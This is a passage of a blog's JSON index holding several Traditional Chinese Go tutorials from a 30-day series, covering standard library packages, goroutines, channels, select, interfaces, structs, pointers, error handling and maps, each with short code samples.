上面是不能使用的。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day18-golang-stdlib-3/","summary":"\u003cp\u003e進入到常用函式庫第三天，也是最後一天介紹一些 stdlib 的應用，後續章節還會有一些第三方 lib 的介紹\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day18 Golang 常用函式庫-3"},{"content":"今天這篇，也一樣是介紹一些，golang 常用的 stdlib ，來幫助大家可以更快更方便的，使用 golang 做一些常見的應用。\ntime golang的時間單位如下\nconst ( Nanosecond Duration = 1 Microsecond = 1000 * Nanosecond Millisecond = 1000 * Microsecond Second = 1000 * Millisecond Minute = 60 * Second Hour = 60 * Minute ) 有了上面的單位換算，接下來我們來看下面的使用範例\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func main() { //unix time fmt.Println(\u0026#34;unix: \u0026#34;, time.Now().Unix()) //取到 nano second fmt.Println(\u0026#34;unix: \u0026#34;, time.Now().UnixNano()) //format成 正常格式化後的時間 fmt.Println(\u0026#34;datetime: \u0026#34;, time.Now().Format(\u0026#34;2006/01/02 15:04:05\u0026#34;)) //after time.AfterFunc(3*time.Second, func() { fmt.Println(\u0026#34;hello world\u0026#34;) }) //這邊 Sleep 5s 是為了讓上面的 AfterFunc 會執行，不然就像前面章節有講到的 只要 main thread 結束，任何 sub thread 都會跟著一起結束 time.Sleep(5 * time.Second) fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/oryLc7H6HYR\n在這邊要特別說明一下，這個 Format 語法，為什麼沒有像其他語言一樣用 %d、%M\u0026hellip;.，之類的符號呢？\n為什麼會這樣呢？ 難道是 2006-01-02 15:04:05 發生了什麼事情？ 先看一下他的src\nconst ( _ = iota stdLongMonth = iota + stdNeedDate // \u0026#34;January\u0026#34; stdMonth // \u0026#34;Jan\u0026#34; stdNumMonth // \u0026#34;1\u0026#34; stdZeroMonth // \u0026#34;01\u0026#34; stdLongWeekDay // \u0026#34;Monday\u0026#34; stdWeekDay // \u0026#34;Mon\u0026#34; stdDay // \u0026#34;2\u0026#34; stdUnderDay // \u0026#34;_2\u0026#34; stdZeroDay // \u0026#34;02\u0026#34; stdHour = iota + stdNeedClock // \u0026#34;15\u0026#34; stdHour12 // \u0026#34;3\u0026#34; stdZeroHour12 // \u0026#34;03\u0026#34; stdMinute // \u0026#34;4\u0026#34; stdZeroMinute // \u0026#34;04\u0026#34; stdSecond // \u0026#34;5\u0026#34; stdZeroSecond // \u0026#34;05\u0026#34; stdLongYear = iota + stdNeedDate // \u0026#34;2006\u0026#34; stdYear // \u0026#34;06\u0026#34; stdPM = iota + stdNeedClock // \u0026#34;PM\u0026#34; stdpm // \u0026#34;pm\u0026#34; stdTZ = iota // \u0026#34;MST\u0026#34; stdISO8601TZ // \u0026#34;Z0700\u0026#34; // prints Z for UTC stdISO8601SecondsTZ // \u0026#34;Z070000\u0026#34; stdISO8601ColonTZ // \u0026#34;Z07:00\u0026#34; // prints Z for UTC stdISO8601ColonSecondsTZ // \u0026#34;Z07:00:00\u0026#34; stdNumTZ // \u0026#34;-0700\u0026#34; // always numeric stdNumSecondsTz // \u0026#34;-070000\u0026#34; stdNumShortTZ // \u0026#34;-07\u0026#34; // always numeric stdNumColonTZ // \u0026#34;-07:00\u0026#34; // always numeric stdNumColonSecondsTZ // \u0026#34;-07:00:00\u0026#34; stdFracSecond0 // \u0026#34;.0\u0026#34;, \u0026#34;.00\u0026#34;, ... , trailing zeros included stdFracSecond9 // \u0026#34;.9\u0026#34;, \u0026#34;.99\u0026#34;, ..., trailing zeros omitted stdNeedDate = 1 \u0026lt;\u0026lt; 8 // need month, day, year stdNeedClock = 2 \u0026lt;\u0026lt; 8 // need hour, minute, second stdArgShift = 16 // extra argument in high bits, above low stdArgShift stdMask = 1\u0026lt;\u0026lt;stdArgShift - 1 // mask out argument ) 裡面就有講到他的設定，就是照這幾個數字去 parse，記憶口訣是基於 01/02 03:04:05PM '06 -0700 有沒有注意到？剛好是 1234567 的順序，很難講這個有別於其他語言的設定，到底是好還是不好，不過要花點時間去適應就是了。\nlog 我想寫任何服務、套件\u0026hellip;，都免不了一定要有 log ，golang 在這邊有提供最基礎的 log lib\npackage main import ( \u0026#34;log\u0026#34; ) func main() { //最基礎的 印出 hello world log.Println(\u0026#34;[standard] hello world\u0026#34;) //設定輸出的格式 log.SetFlags(log.Ltime) log.Println(\u0026#34;[setflag] hello world\u0026#34;) //設定前綴 log.SetPrefix(\u0026#34;[ithome]\u0026#34;) log.Println(\u0026#34;[prefix \u0026amp; setflag] hello world\u0026#34;) } https://play.golang.org/p/VRge9_XELte\nerrors errors 就是提供一個，可以快速回應一個 error interface 的 error，當然如果有特殊需求，可以像前面 interface 介紹的去實作一個 error interface。\npackage main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { err := errors.New(\u0026#34;errorrrrrrr\u0026#34;) if err != nil { fmt.Print(err) } } https://play.golang.org/p/7bLmuTOyW1n\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day17-golang-stdlib-2/","summary":"\u003cp\u003e今天這篇，也一樣是介紹一些，golang 常用的 stdlib ，來幫助大家可以更快更方便的，使用 golang 做一些常見的應用。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day17 Golang 常用函式庫-2"},{"content":"接下來的單元，我會分為幾天，來介紹幾個常用的標準函式庫的使用方式，讓大家能很快地進入 golang 的世界\nstrings 字串的處理，我想應該是基礎中的基礎，任何語言寫任何服務都可以用得。接下來看範例中，我蠻常用到的幾個 case\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;strings\u0026#34; ) func main() { //字串轉換大小寫 //https://golang.org/pkg/strings/#ToLower //https://golang.org/pkg/strings/#ToUpper upperString := \u0026#34;HELLO WORLD\u0026#34; lowerString := \u0026#34;hello world\u0026#34; fmt.Println(\u0026#34;ToUpper:\u0026#34;, strings.ToUpper(lowerString)) fmt.Println(\u0026#34;ToLower:\u0026#34;, strings.ToLower(upperString)) //字串切割，可以指定特定分隔符號轉換成 array //https://golang.org/pkg/strings/#Split splitString:=\u0026#34;a,b,c,d,e,f\u0026#34; fmt.Println(\u0026#34;Split:\u0026#34;,strings.Split(splitString,\u0026#34;,\u0026#34;)) //字串陣列 依照特定分隔符，合併成一個字串 //https://golang.org/pkg/strings/#Join joinArray:=[]string{a,b,c,d,e,f} fmt.Println(\u0026#34;Join:\u0026#34;,strings.Join(joinArray,\u0026#34;,\u0026#34;)) } https://play.golang.org/p/EbfyQ0ZwxpV\nstrconv 字串數字的轉換，我相信也是必備的工具之一\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { var int1 int var string1 string int1 = 5 string1 = \u0026#34;5\u0026#34; //字串轉數字 ii, err := strconv.Atoi(string1) if err != nil { fmt.Println(err) return } fmt.Println(\u0026#34;to int :\u0026amp; add one\u0026#34;, ii+1) //數字轉字串 fmt.Println(\u0026#34;to string :\u0026#34;, strconv.Itoa(int1)) } https://play.golang.org/p/rajvN8tn43Q\nio/iotuil 讀檔功能，我想也是大家不陌生的功能，在這邊說明一下，ioutil 是 golang 包裝過後的簡易工具，所以基本上不需要處理「資源釋放』Close 的相關問題，它內部已經處理完了，如果是運用 golang 其他 stdlib 來讀檔，就要注意 Close 的相關問題\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;log\u0026#34; ) func main() { content, err := ioutil.ReadFile(\u0026#34;testdata/hello\u0026#34;) if err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;File body: %s\u0026#34;, content) } https://play.golang.org/p/Wi38ezXBeX8\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day16-golang-stdlib-1/","summary":"\u003cp\u003e接下來的單元，我會分為幾天，來介紹幾個常用的標準函式庫的使用方式，讓大家能很快地進入 golang 的世界\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day16 Golang 常用函式庫-1"},{"content":"俗話說的好，『如果說我看得比別人更遠，那是因為我站在巨人的肩膀上。』，在 opensouce 裡面，也是一樣，我們可以提供自己寫好的 package 給別人用，也能引入別人所寫的 package。\n雖然上面那句諺語，本意好像是牛頓在諷刺人用的，不過在這邊還是拿來做引用。\nimport package 先看下面範例\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { fmt.Println(\u0026#34;Hello, playground\u0026#34;) } https://play.golang.org/p/HmnNoBf0p1z\n上面範例來說，這是一個 golang 標準的 hello wrold 寫法，大家應該有看到上面 import 這個 keyword，這句話意思就是引入 package，在這邊這個範例是引入 fmt 這個 package。\n在做下面這個範例前，請大家先在自己的 local 的開發環境 下指令\ngo get github.com/syhlion/simplenum\n這是一個簡易的數字四捨五入套件。這句指令的意思就是把它 get 回來，這樣你後續才能 import 跟 build \u0026hellip;\n這邊可以回去前面看第二章-如何安裝環境，那邊有個人開發目錄範例。應該可以看到 github.com/syhlion/simlenum 路徑。\n後面章節會介紹，該如何使用 golang vender 相關機制。\n下面這個範例來示範 import 外部 package\npackage main import ( \u0026#34;github.com/syhlion/simplenum\u0026#34; ) func main() { fmt.Println(simplenum.Round(1.1354, 2)) } 這個範例因為引入外部 package 所以 go playground 不能執行，故不提供連結。\n由上面可以看到，go 支援 git 的 namespace 協定，所以它 import 路徑也依照你的 git namesapce 下去命名。這樣就完成套件的引入\ndesign package 設計 package 很簡單，我們先看下面範例。\npackage math func privateAdd(a int, b int) (c int) { c = a + b return } func Add(a int, b int) (c int) { c = a + b retrun } 這個範例因為是設計 package 所以 go playground 不能執行，故不提供連結。\n這樣子就完成了，一個非常基礎的 math package，它有提供 Add 方法。只要把它推上 github、gitlab\u0026hellip;，就能像上面一樣，讓大家用 go get 的引入你的 pacage\ngolang 有一個很有趣的設計，它並沒有「顯示」的宣告 public、private，它的變數、func，可存取範圍是以 package 為單位，也就是同一個 package 下，並沒有區分 public、private，那不同 package 間要如何區分 public、private呢？ 答案很簡單就是用首字的大小寫來做辨識，只要首字大寫，golang complie，就會把它視為 public ，外部 package 也都能存取，小寫就是反之。\n這樣來看，上面那個例子 privateAdd ，在外部套件中是存取不到的，如果硬要存取，則會噴 undefined 的錯誤，在這邊上，就可以藉由 public、private，來做設計，保護自己的 package 一些比較危險的操作可以封裝起來。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day15-golang-package/","summary":"\u003cp\u003e俗話說的好，『如果說我看得比別人更遠，那是因為我站在巨人的肩膀上。』，在 opensouce 裡面，也是一樣，我們可以提供自己寫好的 package 給別人用，也能引入別人所寫的 package。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day15 Golang package"},{"content":"我寫到現在，我一直覺得 golang 的 error 設計，一直讓人又愛又恨\u0026hellip;，我們今天會分兩個面向來介紹它，一種是語言層面的 error ，也就是 panic，一種就是一般調用 func 所回傳的 error，改怎麼做整理\u0026hellip;\npanic 語言層級的 panic 常常發生在，concurrency 時沒控制好資源，大致上有以下幾種情況\ndeadlock 不同 thread 間互相卡死 data race 沒有做好 lock ，造成資源競爭 nil of pointer 存取到空的 pointer 上述的三種錯誤都會直接讓 golang 直噴 panic，我自己帶我們家的 junior 時，都會交代一句話\n他強任他強、清風拂山崗；他橫任他橫、明月照大江\n他自狠來他自惡，我自一口真氣足\n上面的話語引述自金庸的『倚天屠龍記』的『九陽真經』要領，意思就是，不管外界再怎麼狠毒，自身都不應該受到影響。我們寫 server 的人，可以因為 request 太多，暫時 pending 住，少收一些 request 但不能因為這樣整個 server 死掉。\n下面為攔截 panic 錯誤的方式\npackage main import ( \u0026#34;fmt\u0026#34; ) func Excute() { panic(\u0026#34;wtf...\u0026#34;) } func main() { //defer 在這邊並沒有另外立章節介紹，在這邊簡單說明，他就是用在，這個func 結束前，你最後需要做什麼 //ex 有些o pen file的行為 最後需要 close 等等 defer func() { if err := recover(); err != nil { fmt.Println(err) } }() Excute() fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/82pg_A1epbe\nerror 前面就有講到 golang error 機制設計，我個人很喜歡，但也有一派人馬認為它會讓 code 看起來很瑣碎，因為它少掉了巢狀式 try catch ，這樣的好處在閱讀 source code，難易度大簡，但是換來的卻是\nif err != nil { return } 寫到這裡，如果有稍微觀摩過一些 github 上的 golang pcakge，或是閱讀 golang source code，應該都不陌生上面這段 code。\n之前去上海的 GopherChina2018 裡面有 golang 開發團隊的成員說，預計在 2.0 時，golang error handler 會有一個不小的修正。\n在這邊要特別宣導一下，只要有看到 func 的回傳值有 error ，請一定要接出來，不要忽略它。以官方 net.Listen 套件為例\nln, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;:8080\u0026#34;) if err != nil { error handler ... } conn, err := ln.Accept() 如上，如果沒有讓它直接攔到，讓它持續往下執行，做了 ln.Accept()，這時侯 ln 是 nil ，所以會觸發 nil of pointer，所以請大家不要嫌麻煩，任何錯誤都要接起來並且處理，可以省掉很多 debug 時間。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day14-golang-error-handler/","summary":"\u003cp\u003e我寫到現在，我一直覺得 golang 的 error 設計，一直讓人又愛又恨\u0026hellip;，我們今天會分兩個面向來介紹它，一種是語言層面的 error ，也就是 panic，一種就是一般調用 func 所回傳的 error，改怎麼做整理\u0026hellip;\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day14 Golang error handler"},{"content":"select 在 golang 裡面是一個跟 switch 很像，但又只專屬用在 channel 的一個功能\nselect select 功能其實蠻簡單的，如果你有多條 channel 要在一個線程，去控管它的輸出，這時侯就是運用 select 的好時機\npackage main import ( \u0026#34;fmt\u0026#34; ) var sender1Channel chan string var sender2Channel chan string func Sender1() { sender1Channel \u0026lt;- \u0026#34;this is sender1\u0026#34; } func Sender2() { sender2Channel \u0026lt;- \u0026#34;this is sender2\u0026#34; } func main() { sender1Channel = make(chan string) sender2Channel = make(chan string) go Sender1() go Sender2() i := 0 for { select { case msg := \u0026lt;-sender1Channel: fmt.Println(msg) case msg := \u0026lt;-sender2Channel: fmt.Println(msg) } //這邊因為只有兩個 sender 各送一條訊息，所以這個loop 只要執行兩次就可以 break，因為不會再有其他訊息進來 i = i + 1 if i \u0026gt;= 2 { break } } fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/-scW4ZbLEa5\n要注意 select 到底會進入哪一條 case，外在是無法控制的，這是由 golang 內部演算法實作，所以如果 case 的情況多，的確有機會不會進到某 case 裡面。所以請斟酌使用方式。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day13-golang-select/","summary":"\u003cp\u003eselect 在 golang 裡面是一個跟 switch 很像，但又只專屬用在 channel 的一個功能\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day13 Golang select"},{"content":"接下來是 golang 重頭戲之二 channel ，上一篇已經有講過 gorotuine，channel 的用途非常多，可以拿來當不同 gorotuine 的溝通通道，也可以 buffer quene，那接下來開始介紹 channel\nchannel 首先我們要先來試試看，如何宣告一個 channel，並且傳送一個訊息給它\npackage main import ( \u0026#34;fmt\u0026#34; ) var message chan string func Bot() { msg := \u0026lt;-message fmt.Printf(\u0026#34;Bot Print:%s\\n\u0026#34;, msg) } func main() { message = make(chan string) go Bot() message \u0026lt;- \u0026#34;Hello World\u0026#34; fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/kdVCn2Abk11\nchannel 如果沒有宣告 buffer， sender 端，送進去的訊息，reciver 端沒收之前，sender 端送不進去第二則訊息，此時，sender 端會 block，在這邊要注意控制這個問題，以避免造成 deadlock。\n下面我們示範一下 deadlock 情境\npackage main import ( \u0026#34;fmt\u0026#34; ) var message chan string func Bot() { msg := \u0026lt;-message fmt.Printf(\u0026#34;Bot Print:%s\\n\u0026#34;, msg) } func main() { message = make(chan string) go Bot() message \u0026lt;- \u0026#34;first message\u0026#34; fmt.Println(\u0026#34;first message send finish\u0026#34;) message \u0026lt;- \u0026#34;second message\u0026#34; fmt.Println(\u0026#34;second message send finish\u0026#34;) fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/O_DjamN8sss\n那如何在沒宣告 buffer 的情況下，排除上面的 deadlock\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) var message chan string func Bot() { //讓bot 不斷接收訊息，就不會造成 main thread 卡死 for msg := range message { fmt.Printf(\u0026#34;Bot Print:%s\\n\u0026#34;, msg) } } func main() { message = make(chan string) go Bot() message \u0026lt;- \u0026#34;first message\u0026#34; fmt.Println(\u0026#34;first message send finish\u0026#34;) message \u0026lt;- \u0026#34;second message\u0026#34; fmt.Println(\u0026#34;second message send finish\u0026#34;) //加入Sleep 是為了避免 main thread提前結束，而看不到 bot 後續印的值 time.Sleep(1*time.Second) fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/OSzlVjXGMIj\n那如何宣告 channel 的 buffer 呢？\npackage main import ( \u0026#34;fmt\u0026#34; ) var message chan string func Bot() { msg := \u0026lt;-message fmt.Printf(\u0026#34;Bot Print:%s\\n\u0026#34;, msg) } func main() { //這裡為宣告 5 個 channel buffer，意思就是可以quene 5個 string message = make(chan string, 5) go Bot() message \u0026lt;- \u0026#34;first message\u0026#34; fmt.Println(\u0026#34;first message send finish\u0026#34;) message \u0026lt;- \u0026#34;second message\u0026#34; fmt.Println(\u0026#34;second message send finish\u0026#34;) fmt.Println(\u0026#34;end\u0026#34;) } https://play.golang.org/p/NpBkrnKGfIQ\n由上面可以看到，運用 buffer 宣告也可以解決前面範例 deadlock 的問題。\nDo not communicate by sharing memory; instead, share memory by communicating.\n上面這句話，是引言自，golang 官方 blog，有一篇講解 channel 的使用時機、跟他的設計精神，有興趣的可以前往閱讀。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day12-golang-channel/","summary":"\u003cp\u003e接下來是 golang 重頭戲之二 channel ，上一篇已經有講過 gorotuine，channel 的用途非常多，可以拿來當不同 gorotuine 的溝通通道，也可以 buffer quene，那接下來開始介紹 channel\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day12 Golang channel"},{"content":"接下來要進到 golang 的重點特色之一 goroutine ，江湖傳言，你寫 golang 沒用到 goroutine 以及 channel，就不算寫過 golang。 channel 會在明天的章節介紹，今天先來 goroutine\ngoroutine goroutine 的使用也很簡單，不像其他語言 ex java 還要 implement thread interface \u0026hellip;. ，才能做到 concurrency ，它只要使用 go 這個 keyword，就可以完成。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func Print() { for i := 0; i \u0026lt; 10; i++ { fmt.Println(i) time.Sleep(1 * time.Second) } } func main() { go Print() for i := 1000; i \u0026lt; 1010; i++ { fmt.Println(i) time.Sleep(1 * time.Second) } } https://play.golang.org/p/Te63URbwM9I\n由上面範例可以看到，在 main 裡面的迴圈值跟 Print 裡面迴圈的值，交錯印出來。表示 Print 這個 func 跟 main 裡面，是平行處理的。\n這邊另外示範一個例子\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func Print() { for i := 0; i \u0026lt; 10; i++ { fmt.Println(i) time.Sleep(1 * time.Second) } } func main() { go Print() time.Sleep(1 * time.Second) fmt.Println(\u0026#34;Hello world\u0026#34;) } https://play.golang.org/p/7AHRUQrU9CL\n在這邊可以看到 Print 裡面的值，只印出了幾個就中斷了。原因是，任何情況下，只要 main thread (主線程) 中斷或結束，所有的子線程(goroutine)都會中斷。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day11-golang-gorotuine/","summary":"\u003cp\u003e接下來要進到 golang 的重點特色之一 goroutine ，江湖傳言，你寫 golang 沒用到 goroutine 以及 channel，就不算寫過 golang。 channel 會在明天的章節介紹，今天先來 goroutine\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day11 Golang goroutine"},{"content":"golang 的 interface，我覺得對初學者來說會有點疑惑，畢竟 interface 在這裡有兩個意思，一個代表『泛用型別』、一個代表類似傳統 OOP(Object-oriented programming) 所說的 interface，下面就來介紹兩種使用方式。\n泛用型別 interface{} 如果在後面加上兩個大括號，可以把它當作一種 type 使用 範例如下:\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var a interface{} var b interface{} var c interface{} a = 5 b = 1.5 c = \u0026#34;hello world\u0026#34; fmt.Println(a, b, c) } https://play.golang.org/p/MVG8kd3qjI-\n這個型別看起來很好用，但是在強型別語言中，如果濫用這個機制，會吃到不少苦頭。個人目前的使用情境都是用在面對一個型別不是太穩定的 api 需求，會使用這種型別設計\n如果像上述的範例，我要怎麼知道它的原始型別呢？ 如下範例\npackage main import ( \u0026#34;fmt\u0026#34; ) func Switch(input interface{}) { switch v := input.(type) { case float64: fmt.Printf(\u0026#34;Twice %v is %v\\n\u0026#34;, v, v*2) case int: fmt.Printf(\u0026#34;Twice %v is %v\\n\u0026#34;, v, v*2) case string: fmt.Printf(\u0026#34;%q is %v bytes long\\n\u0026#34;, v, len(v)) default: fmt.Printf(\u0026#34;I don\u0026#39;t know about type %T!\\n\u0026#34;, v) } } func main() { var a interface{} var b interface{} var c interface{} a = 5 b = 1.5 c = \u0026#34;hello world\u0026#34; Switch(a) Switch(b) Switch(c) fmt.Println(a, b, c) } https://play.golang.org/p/bHDoHEdWZVS\ninterface golang 的 interface 跟其他 OOP(Object-oriented programming) 不太一樣，它不需要『顯示聲明』，這是一個很有趣也很強大的功能，我們先用一個範例來說明一下\npackage main import ( \u0026#34;fmt\u0026#34; ) type Member interface { GetName() string GetAge() int } type Robot struct { name string age int power int } func (r *Robot) Work() { } func (r *Robot) GetName() string { return r.name } func (r *Robot) GetAge() int { return r.age } type Car struct { name string age int odometer int } func (r *Car) Run() { } func (r *Car) GetName() string { return r.name } func (r *Car) GetAge() int { return r.age } func Cleaning(m Member) { fmt.Printf(\u0026#34;Consumer Name:%s, Age:%d\\n\u0026#34;, m.GetName(), m.GetAge()) } func main() { r := \u0026amp;Robot{ name: \u0026#34;GUMDAM\u0026#34;, age: 1, power: 100, } c := \u0026amp;Car{ name: \u0026#34;BENZ\u0026#34;, age: 2, odometer: 100, } Cleaning(c) Cleaning(r) } https://play.golang.org/p/uOqkD36c4Bt\n由上面可以看到，我建構了 Robot struct 還有 Car struct，這兩個完全不同類型的 struct，竟然可以丟進去 Cleaning func，就是因為他們兩個都有實作， Member interface，在 golang 裡面 interface 的定義是隱性的，不用刻意像其他語言一樣要使用 implement 之類的 keyword，來顯示宣告，它只要有實作該 interface 所規範的 func ，即可定義它有實作。\n也可以參考看看官方套件裡面大家用最多的叫做 error 它就是一種 interface 喔！\n這種型別的好處，我在一開始學時也還無法體會它的好用之處，也很難在短短幾句之間跟大家介紹清楚。多實作多看其他人的應用，即可以體會這個功能的強之處\n一個小心得分享，這種在接外部 package 時非常好用，我可以無痛用我的 struct ，丟到別人定義的 api 裡面。\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day10-golang-interface/","summary":"\u003cp\u003egolang 的 interface，我覺得對初學者來說會有點疑惑，畢竟 interface 在這裡有兩個意思，一個代表『泛用型別』、一個代表類似傳統 OOP(Object-oriented programming) 所說的 interface，下面就來介紹兩種使用方式。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day10 Golang Interface"},{"content":"接下來進入到 golang 的 struct \u0026amp; pointer，如果有學過 C 的應該挺熟悉的這兩個 keyword，畢竟 golang 是有號稱21世紀的C語言，不熟悉的也沒關係，可以把它當作像一般常見的 OOP (Object-oriented programming)，裡面會看到 class 來看待它，pointer的話就要稍微做一下功課才有辦法知道它的用意。\nstruct 宣告 package main import ( \u0026#34;fmt\u0026#34; ) type Info struct { Age int Name string } func main() { fmt.Println(Info{Age: 18, Name: \u0026#34;syhlion\u0026#34;}) } https://play.golang.org/p/N3kKhhD8E7y\n指標 何謂指標？ 指標就是只到記憶體的位置，並不是值接存值\nref wiki\n如上圖所述，pointer 只是指出該變數家裡的「住址」，並不是該變數的值，在 golang 裡面，要取「址」需要用 \u0026amp; 這個符號。 * 號則是返回該『位址』的值\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { var a int a = 15 fmt.Println(\u0026amp;a) } https://play.golang.org/p/X-lETZ5ifj4\n如上範例，可以看到它印出 a 這個變數的記憶體位址\n我用兩個範例跟大家說明，運用指標的差異\npackage main import ( \u0026#34;fmt\u0026#34; ) func Compute(a int) { a = 0 } func main() { x := 5 Compute(x) fmt.Println(x) } https://play.golang.org/p/HtdbgipmdW2\n上面範例經過 Compute 這個 func ，x 值並無改變，因為在 golang ，運作行為是『複製』 變數傳進去，所以兩個變數是完全獨立且分開的。\npackage main import ( \u0026#34;fmt\u0026#34; ) func Compute(a *int) { *a = 0 } func main() { x := 5 Compute(\u0026amp;x) fmt.Println(x) } https://play.golang.org/p/X-lETZ5ifj4\n上面範例為什麼 x，會有不一樣？ 是因為這時侯 golang 行為是傳送位址進去，所以在 Compute 裡面所改到的值是原始 x，所改到的值。\ngolang 裡面 slice \u0026amp; map 都是 pointer型別，所如果把它當作參數傳入使用，要注意。\nstruct \u0026amp; func 在一般來說常見的 OOP (Object-oriented programming)，有 class 也就會有所謂的 method，那在 golang 中要如何實現呢？\npackage main import ( \u0026#34;fmt\u0026#34; ) type Member struct { Age int Name string } func (m *Member) GetAge() int { return m.Age } func (m *Member) GetName() string { return m.Name } func main() { mem := \u0026amp;Member{ Age: 18, Name: \u0026#34;syhlion\u0026#34;, } fmt.Printf(\u0026#34;Member Name:%s, Age:%d\u0026#34;, mem.GetName(), mem.GetAge()) } https://play.golang.org/p/NSqtIRbtY2l\n由上面範例可以看到，只要在原本 func Name 之前加入，這個 func 要參照到哪，就可以像使用一些常見的 OOP ((Object-oriented programming)) 語言去設計所謂的 class。當然它也可以選擇運用，要不要使用 pointer，參照到 struct。\n初學來說，如果還搞不清楚使用時機，建議都用 pointer 參照 struct。\ngolang 作者有特別聲明，golang 不是傳統的 OOP (Object-oriented programming)，所以在設計上，可以運用一些 OOP (Object-oriented programming) 觀念，但不要硬要套用。 ref https://golang.org/doc/faq#Is_Go_an_object-oriented_language\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day9-golang-struct-and-pointer/","summary":"\u003cp\u003e接下來進入到 golang 的 struct \u0026amp; pointer，如果有學過 C 的應該挺熟悉的這兩個 keyword，畢竟 golang 是有號稱21世紀的C語言，不熟悉的也沒關係，可以把它當作像一般常見的 OOP (Object-oriented programming)，裡面會看到 class 來看待它，pointer的話就要稍微做一下功課才有辦法知道它的用意。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day9 Golang struct \u0026 pointer"},{"content":"golang 不是一種 OOP (Object-oriented programming) ，反而比較偏向 FP (Functional Programming)，雖然我個人認為它不是很純的 FP，但是它擁有 First-class function 的特性，所以可以用一些 script language 常見的手法，使用在 golang 上面。\n接下來我們來介紹，該如何宣告一個 func\nfunc 宣告 package main import \u0026#34;fmt\u0026#34; func add(a int, by int) int { return a + b } func main() { fmt.Println(add(3, 2)) } https://play.golang.org/p/AQ9ZaPECNYk\n還可以顯示的命名回傳值，直接在回傳值上宣告要命名的變數名稱，這樣最後在 return 時，就不用刻意指定要回傳哪個變數回去了。\npackage main import \u0026#34;fmt\u0026#34; func add(a int, b int) (c int) { c = a + b return } func main() { fmt.Println(add(3, 2)) } https://play.golang.org/p/s0L2JHXYD6X\n還可以多重回傳值，此手法在 golang error handling (後續章節會介紹) 很常見，約定俗成來說，如果有 error 要回傳，最右邊的變數為 error。\n可參考官網 ioutil 的 ReallAll func。\n下面範例，為回傳一個 int，一個 string。\npackage main import \u0026#34;fmt\u0026#34; func Info() (age int, name string) { age = 18 name = \u0026#34;syhlion\u0026#34; return } func main() { age, name := Info() fmt.Printf(\u0026#34;age:%d, name:%s\\n\u0026#34;, age, name) } https://play.golang.org/p/pVu38aHJCBE\n","permalink":"https://blog.syhlion.tw/2018/10/2019-10th-ithome30day-day8-golang-func/","summary":"\u003cp\u003egolang 不是一種 OOP (Object-oriented programming) ，反而比較偏向 FP (Functional Programming)，雖然我個人認為它不是很純的 FP，但是它擁有 First-class function 的特性，所以可以用一些 script language 常見的手法，使用在 golang 上面。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day8 Golang func"},{"content":"Golang 的 map，有蠻多小細節要注意的，例如thread safe相關的問題\u0026hellip;.\nmap 其實就是一個 key and value 的結構\nmap package main import ( \u0026#34;fmt\u0026#34; ) var ( a map[string]string ) func main() { a = make(map[string]string) a[\u0026#34;s\u0026#34;] = \u0026#34;say\u0026#34; a[\u0026#34;b\u0026#34;] = \u0026#34;ball\u0026#34; fmt.Println(a) } https://play.golang.org/p/iWJwS3_s9sv\n或是也能這樣宣告\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { a := make(map[string]string) a[\u0026#34;s\u0026#34;] = \u0026#34;say\u0026#34; a[\u0026#34;b\u0026#34;] = \u0026#34;ball\u0026#34; fmt.Println(a) } https://play.golang.org/p/KNO5tfeOQjv\n或是直接初始化也行\npackage main import ( \u0026#34;fmt\u0026#34; ) func main() { a := map[string]string{ \u0026#34;s\u0026#34;: \u0026#34;say\u0026#34;, \u0026#34;b\u0026#34;: \u0026#34;ball\u0026#34;, } fmt.Println(a) } https://play.golang.org/p/-3SzzHugfN4\n當然它也可以支援巢狀式宣告\npackage main import ( \u0026#34;fmt\u0026#34; ) var ( a map[string]map[string]string ) func main() { a = make(map[string]map[string]string) a[\u0026#34;s1\u0026#34;] = map[string]string{ \u0026#34;a1\u0026#34;: \u0026#34;apple\u0026#34;, } fmt.Println(a) } https://play.golang.org/p/rD4av2oxLe0\ngolang的 map，並沒有thread safe，但是他在1.9之後有在sync套件中新增另一種型別的map有支援thread 